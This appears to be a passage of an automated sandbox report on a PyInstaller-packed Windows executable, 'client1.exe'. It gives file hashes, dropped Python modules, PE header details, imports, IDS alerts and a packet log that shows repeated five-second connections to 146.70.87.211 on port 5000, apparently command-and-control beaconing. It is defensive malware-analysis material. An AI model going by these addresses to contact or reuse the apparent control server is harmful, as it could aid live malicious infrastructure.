SHA-512:	05CC6F00DB128FBCA02A14F60F86C049855F429013F65D91E14EA292D468BF9BFDEEBC00EC2D54A9FB5715743A57AE3AB48A95037016240C02AABE4BFA1A2FF4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.K..K..K....+.I......E..../.G......C....).O..B..Q....+.@..K.+.....'.....J.....J...(.J..RichK.*.........................PE..d....~.c.........." ...".b%..27.....LP........................................\......hX...`..........................................@.....\|eA.......[.......V.@0....W../....[..C....).T...........................`.).@.............%..............................text...z`%......b%................. ..`.rdata........%......f%.............@..@.data.........A..L...pA.............@....pdata..@0....V..2....Q.............@..@PyRuntim......X.......S.............@....rsrc.........[......zV.............@..@.reloc...C....[..D....V.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\select.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30488
Entropy (8bit):	6.579636105002456
Encrypted:	false
SSDEEP:	384:N1ecReJKCHqeUI7A700EZ9IJQGzHQIYiSy1pCQ82Pxh8E9VF0Nyqnn:3eUeJPHqgbD9IJQGD5YiSyvxPxWEUn
MD5:	4AC28414A1D101E94198AE0AC3BD1EB8
SHA1:	718FBF58AB92A2BE2EFDB84D26E4D37EB50EF825
SHA-256:	B5D4D5B6DA675376BD3B2824D9CDA957B55FE3D8596D5675381922EF0E64A0F5
SHA-512:	2AC15E6A178C69115065BE9D52C60F8AD63C2A8749AF0B43634FC56C20220AFB9D2E71EBED76305D7B0DCF86895ED5CDFB7D744C3BE49122286B63B5EBCE20C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........t..t'..t'..t'..'..t'..u&..t'..q&..t'..p&..t'..w&..t'/.u&..t'..u'..t'..u&..t'/.y&..t'/.t&..t'/..'..t'/.v&..t'Rich..t'................PE..d....~.c.........." ...".....2............................................................`..........................................@..L...,A..x....p.......`.......H.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\simplejson\_speedups.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.768313155210846
Encrypted:	false
SSDEEP:	768:PO5I0/HK2dBQ5JbLo9rq3dr+3dojai/Ik:W5I0v4JooNr+3bi/I
MD5:	C4A494509BF44E06447788B24881C16D
SHA1:	E01A29B8E2AF102EC2F8C88F9B580F004411F9B3
SHA-256:	BC15B60DA221F8656CDB201198AB7FA2575AD8D41C357B67B8678F9BBF3961AF
SHA-512:	2DEC6757E4580657FC1A42D1D83FBFA144570508172990D8F2268292542A93FFE498881BD7FDD26CA83B61E5A861A8A1C692C133C599028F23C1878A746F691E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.v}r...r...r...{...v...../p...9../p...../~...../z...../q....../q...r........../s....../s.......s....../s...Richr...........PE..d...uK.e.........." ...#.^...@.......a....................................................`.........................................@...d.......x...............t...................P...................................@............p..P............................text....\.......^.................. ..`.rdata...$...p...&...b..............@..@.data... ...........................@....pdata..t...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1141016
Entropy (8bit):	5.435126675528636
Encrypted:	false
SSDEEP:	12288:r3kYbfjwR6nbnonRiPDjRrO5184EPYPx++ZiLKGZ5KXyVH4eD1y:rUYbM60IDJcjEwPgPOG6Xyd461y
MD5:	2AB7E66DFF1893FEA6F124971221A2A9
SHA1:	3BE5864BC4176C552282F9DA5FBD70CC1593EB02
SHA-256:	A5DB7900ECD5EA5AB1C06A8F94B2885F00DD2E1ADF34BCB50C8A71691A97804F
SHA-512:	985480FFFCC7E1A25C0070F44492744C3820334A35B9A72B9147898395AB60C7A73EA8BBC761DE5CC3B6F8799D07A96C2880A7B56953249230B05DD59A1390AD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t.t.t.}...r.;...v.;...y.;...\|.;...w.....w.?...v.t.%.....u.....u...y.u.....u.Richt.........................PE..d....~.c.........." ...".@..........P*...................................................`.............................................X............`.......P..0....:.../...p.......]..T............................[..@............P..x............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data...H....0......................@....pdata..0....P.......&..............@..@.rsrc........`......................@..@.reloc.......p.......8..............@..B................................................................................................................................................................................................................................

C:\images\new214_173.254.250.69.png

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	575113
Entropy (8bit):	7.924484848440919
Encrypted:	false
SSDEEP:	12288:j1cEVzOz9vxNfpI+6aaYqsQSRrmBcUwrZAVfS2Go0sz6ByRNpLO8Zyh5KqOfgDn:j1cRPNBICI5SkjwrwSizBDpLO8Zyh5Ko
MD5:	6B536DEE4416343E0DED1ED6D83DDABD
SHA1:	96B6C9B48F32D3B0B266ED76F3BDCEFE21E77E2C
SHA-256:	2FB8BAE544BA13934A0039C91C14B40294653FA4A41642393842FB9B9DBE815E
SHA-512:	5E112C8AB9FA4E4B2C9284F47264DF0D2924971DB36CB61CED7F4E01AF3C2B9D30065B49FAAB89B71F937A0CFED3ADAA377F1399C7628EC4F73749A08690B3DA
Malicious:	false
Preview:	.PNG........IHDR.............1.c....PIDATx..i.\..3.f.....7.D..O.....Gw......F.f4..$!..x....`<0.13...`...4TI5WI........%$......^..3.2.U....o....._O...7..}4.:....:.,<.Ut.`...@+x....R..S...\=.A..S.J.J=.A.5...y0..........m../.R._.W.}{../.J.g0..^...T......sw.J.QF.n.U...J......._.(R.Q..mg...O./..?yop.w+....[iS...)...mee~.N..[m.~.%o.o`.S.R..Zbe..6+...%.w..R..."....J}{c..J.k..onBer+...eU.......W..qM_.z..\.W...P.+]..xU...^G.G\..Q....].YZg.J_...K.2....}U..5.E.k/YWs.Z[.........Z...B.L....j.wS...........q...<.../..U...Q...aa.}Tj.J....W...u.V.....Uw.m..X...W.................;u..p.5.gp....a~_..U....k........&.......6=..W[.A......:3.+}n'*uN.o..?o%.:.k..........f....J.......U7...`..<.......a\q.....u.v..+......"3...5....V3...Ez.rTf.ix....6.}.......I+.g/.nj;....-..&...)mZ.."..Z?..nr[.V\..9{EzBKf.r,p.,.`........,.1KR..4....<.o...7.J....I.........\.n..+.f.7c..;..vBk...u...&u.6=.%8sI..N>.[...g..}..X.....1..#(.y.....

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.9945178866309865
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	client1.exe
File size:	11'677'281 bytes
MD5:	950c13286d42ad2da05b1778c1e2d747
SHA1:	3096643a168bcc2841592c676237aa6f1132ce4c
SHA256:	31c85a75181aaacb26b304987e11920b59fadea48f15dc6996c4e5d48a1b41e0
SHA512:	3e47cf1a8d4be4f918c10de572b1084f930a2c6c8553e6bebfc932a668cc00dece605caf3e0c5527bcb7fe4f9686e80182b5c4483e607142859c34585963b065
SSDEEP:	196608:RCtKucDPzMsVerPYVnN/SMFmHxbAQvVwejuJDUX47dwdW0uBJ1LJHD2g1YPeZNt/:QKgPYVnNSMsxNaUX47d4YbZfg4
TLSH:	B3C633A856B10DE7DDACD239D0E189506772BC660BF0E38F03A581722F73BE5A435729
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W...W...W.../...W.../...W.../...W...+l..W...+...W...+...W...+...W.../...W...W..)W..e+...W..e+...W..Rich.W.................

File Icon


Icon Hash:	4a464cd47461e179

Static PE Info

General

Entrypoint:	0x14000b310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E5A2CC [Sat Sep 14 14:50:52 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	0b5552dccd9d0a834cea55c0c8fc05be

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F8DE1187A3Ch
dec eax
add esp, 28h
jmp 00007F8DE118764Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F8DE1187FB4h
test eax, eax
je 00007F8DE11877F3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F8DE11877D7h
dec eax
cmp ecx, eax
je 00007F8DE11877E6h
xor eax, eax
dec eax
cmpxchg dword ptr [0004121Ch], ecx
jne 00007F8DE11877C0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F8DE11877C9h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
movzx eax, byte ptr [00041207h]
test ecx, ecx
mov ebx, 00000001h
cmove eax, ebx
mov byte ptr [000411F7h], al
call 00007F8DE1187DB3h
call 00007F8DE1188EE2h
test al, al
jne 00007F8DE11877D6h
xor al, al
jmp 00007F8DE11877E6h
call 00007F8DE11954C1h
test al, al
jne 00007F8DE11877DBh
xor ecx, ecx
call 00007F8DE1188EF2h
jmp 00007F8DE11877BCh
mov al, bl
dec eax
add esp, 20h
pop ebx
ret
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000411BCh], 00000000h
mov ebx, ecx
jne 00007F8DE1187839h
cmp ecx, 01h
jnbe 00007F8DE118783Ch
call 00007F8DE1187F1Ah
test eax, eax
je 00007F8DE11877FAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3bd0c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0xf49c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x4e000	0x20c4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x62000	0x758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x39480	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39340	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x418	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28800	0x28800	443d51fb84559b563832949912f06b00	False	0.5583465952932098	data	6.488023200564254	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0x12b16	0x12c00	c6b0ffbdaacfaeb0aa8a402d7fb00a75	False	0.5154817708333334	data	5.824698040892216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x103f8	0xe00	afabb66fdcd2825de5909f10c900fca7	False	0.13309151785714285	DOS executable (block device driver \377\3)	1.8096886543499544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x4e000	0x20c4	0x2200	7b210ceebebc00c96d1c55c2b456bbb4	False	0.47794117647058826	data	5.274096406482418	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x51000	0x15c	0x200	c059b775abce97446903f3597b027fae	False	0.384765625	data	2.808567494642619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x52000	0xf49c	0xf600	1273c8b32d60012638cc8eef409fdb8d	False	0.803639481707317	data	7.555569735712573	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x62000	0x758	0x800	11aaafc72361ec8886a740c3e209ceb3	False	0.544921875	data	5.2576643703968475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x52208	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.585820895522388
RT_ICON	0x530b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.7360108303249098
RT_ICON	0x53958	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.755057803468208
RT_ICON	0x53ec0	0x952c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9975384937676757
RT_ICON	0x5d3ec	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.3887966804979253
RT_ICON	0x5f994	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.49530956848030017
RT_ICON	0x60a3c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.7207446808510638
RT_GROUP_ICON	0x60ea4	0x68	data	0.7019230769230769
RT_MANIFEST	0x60f0c	0x58f	XML 1.0 document, ASCII text, with CRLF line terminators	0.4462403373155306

Imports

DLL	Import
USER32.dll	CreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, IsValidCodePage, GetACP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetOEMCP, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetEndOfFile, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-04T09:49:36.882714+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.8	49712	TCP
2024-11-04T09:50:15.115068+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.8	49723	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 09:49:20.924143076 CET	49706	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:20.929069042 CET	5000	49706	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:20.929153919 CET	49706	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:20.929239035 CET	49706	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:20.934107065 CET	5000	49706	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:21.057028055 CET	49709	80	192.168.2.8	172.67.168.106
Nov 4, 2024 09:49:21.061949968 CET	80	49709	172.67.168.106	192.168.2.8
Nov 4, 2024 09:49:21.062035084 CET	49709	80	192.168.2.8	172.67.168.106
Nov 4, 2024 09:49:21.062191010 CET	49709	80	192.168.2.8	172.67.168.106
Nov 4, 2024 09:49:21.066981077 CET	80	49709	172.67.168.106	192.168.2.8
Nov 4, 2024 09:49:21.440663099 CET	5000	49706	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:21.440793991 CET	49706	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:21.440939903 CET	49706	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:21.445729971 CET	5000	49706	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:21.781905890 CET	80	49709	172.67.168.106	192.168.2.8
Nov 4, 2024 09:49:21.787750959 CET	49709	80	192.168.2.8	172.67.168.106
Nov 4, 2024 09:49:21.793241978 CET	80	49709	172.67.168.106	192.168.2.8
Nov 4, 2024 09:49:21.793314934 CET	49709	80	192.168.2.8	172.67.168.106
Nov 4, 2024 09:49:26.444034100 CET	49710	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:26.449027061 CET	5000	49710	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:26.449110031 CET	49710	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:26.449234009 CET	49710	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:26.454005957 CET	5000	49710	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:26.961116076 CET	5000	49710	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:26.961177111 CET	49710	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:26.961293936 CET	49710	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:26.966069937 CET	5000	49710	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:31.963682890 CET	49711	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:31.968488932 CET	5000	49711	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:31.968595982 CET	49711	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:31.968652010 CET	49711	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:31.973448038 CET	5000	49711	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:32.473484993 CET	5000	49711	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:32.473730087 CET	49711	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:32.473879099 CET	49711	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:32.478615046 CET	5000	49711	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:37.492363930 CET	49716	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:37.497279882 CET	5000	49716	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:37.497600079 CET	49716	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:37.516756058 CET	49716	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:37.521595955 CET	5000	49716	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:38.005829096 CET	5000	49716	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:38.005904913 CET	49716	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:38.006294012 CET	49716	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:38.011055946 CET	5000	49716	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:43.021325111 CET	49717	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:43.026103973 CET	5000	49717	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:43.026171923 CET	49717	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:43.029470921 CET	49717	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:43.034316063 CET	5000	49717	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:43.536169052 CET	5000	49717	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:43.536421061 CET	49717	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:43.536545038 CET	49717	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:43.541255951 CET	5000	49717	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:48.538871050 CET	49718	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:48.543811083 CET	5000	49718	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:48.543936014 CET	49718	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:48.544023991 CET	49718	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:48.548830032 CET	5000	49718	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:49.051907063 CET	5000	49718	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:49.052043915 CET	49718	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:49.070000887 CET	49718	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:49.076317072 CET	5000	49718	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:54.072217941 CET	49719	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:54.077101946 CET	5000	49719	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:54.077218056 CET	49719	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:54.077294111 CET	49719	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:54.082041979 CET	5000	49719	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:54.583244085 CET	5000	49719	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:54.583304882 CET	49719	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:54.583425045 CET	49719	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:54.588185072 CET	5000	49719	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:59.586015940 CET	49720	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:59.590831041 CET	5000	49720	146.70.87.211	192.168.2.8
Nov 4, 2024 09:49:59.590965986 CET	49720	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:59.591022968 CET	49720	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:49:59.595783949 CET	5000	49720	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:00.103120089 CET	5000	49720	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:00.103204012 CET	49720	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:00.103322983 CET	49720	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:00.108088017 CET	5000	49720	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:05.105369091 CET	49721	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:05.110261917 CET	5000	49721	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:05.110358000 CET	49721	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:05.110410929 CET	49721	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:05.115412951 CET	5000	49721	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:05.615422010 CET	5000	49721	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:05.615624905 CET	49721	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:05.615804911 CET	49721	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:05.620604038 CET	5000	49721	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:10.618227005 CET	49722	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:10.623073101 CET	5000	49722	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:10.623153925 CET	49722	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:10.623347998 CET	49722	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:10.628106117 CET	5000	49722	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:11.135529995 CET	5000	49722	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:11.135600090 CET	49722	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:11.135745049 CET	49722	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:11.140582085 CET	5000	49722	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:16.138068914 CET	49724	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:16.253690004 CET	5000	49724	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:16.253829956 CET	49724	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:16.290586948 CET	49724	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:16.296114922 CET	5000	49724	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:16.775443077 CET	5000	49724	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:16.775662899 CET	49724	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:16.778744936 CET	49724	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:16.783529043 CET	5000	49724	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:21.790030956 CET	49725	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:21.840755939 CET	5000	49725	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:21.840837955 CET	49725	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:21.840990067 CET	49725	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:21.845796108 CET	5000	49725	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:22.472575903 CET	5000	49725	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:22.472702980 CET	49725	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:22.478147030 CET	49725	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:22.729926109 CET	5000	49725	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:22.729981899 CET	49725	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:22.730832100 CET	5000	49725	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:27.480331898 CET	49726	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:27.485203028 CET	5000	49726	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:27.485301018 CET	49726	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:27.485373974 CET	49726	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:27.490178108 CET	5000	49726	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:28.014653921 CET	5000	49726	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:28.014795065 CET	49726	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:28.014859915 CET	49726	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:28.019706011 CET	5000	49726	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:33.017357111 CET	49727	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:33.022273064 CET	5000	49727	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:33.022367001 CET	49727	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:33.022425890 CET	49727	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:33.027827978 CET	5000	49727	146.70.87.211	192.168.2.8
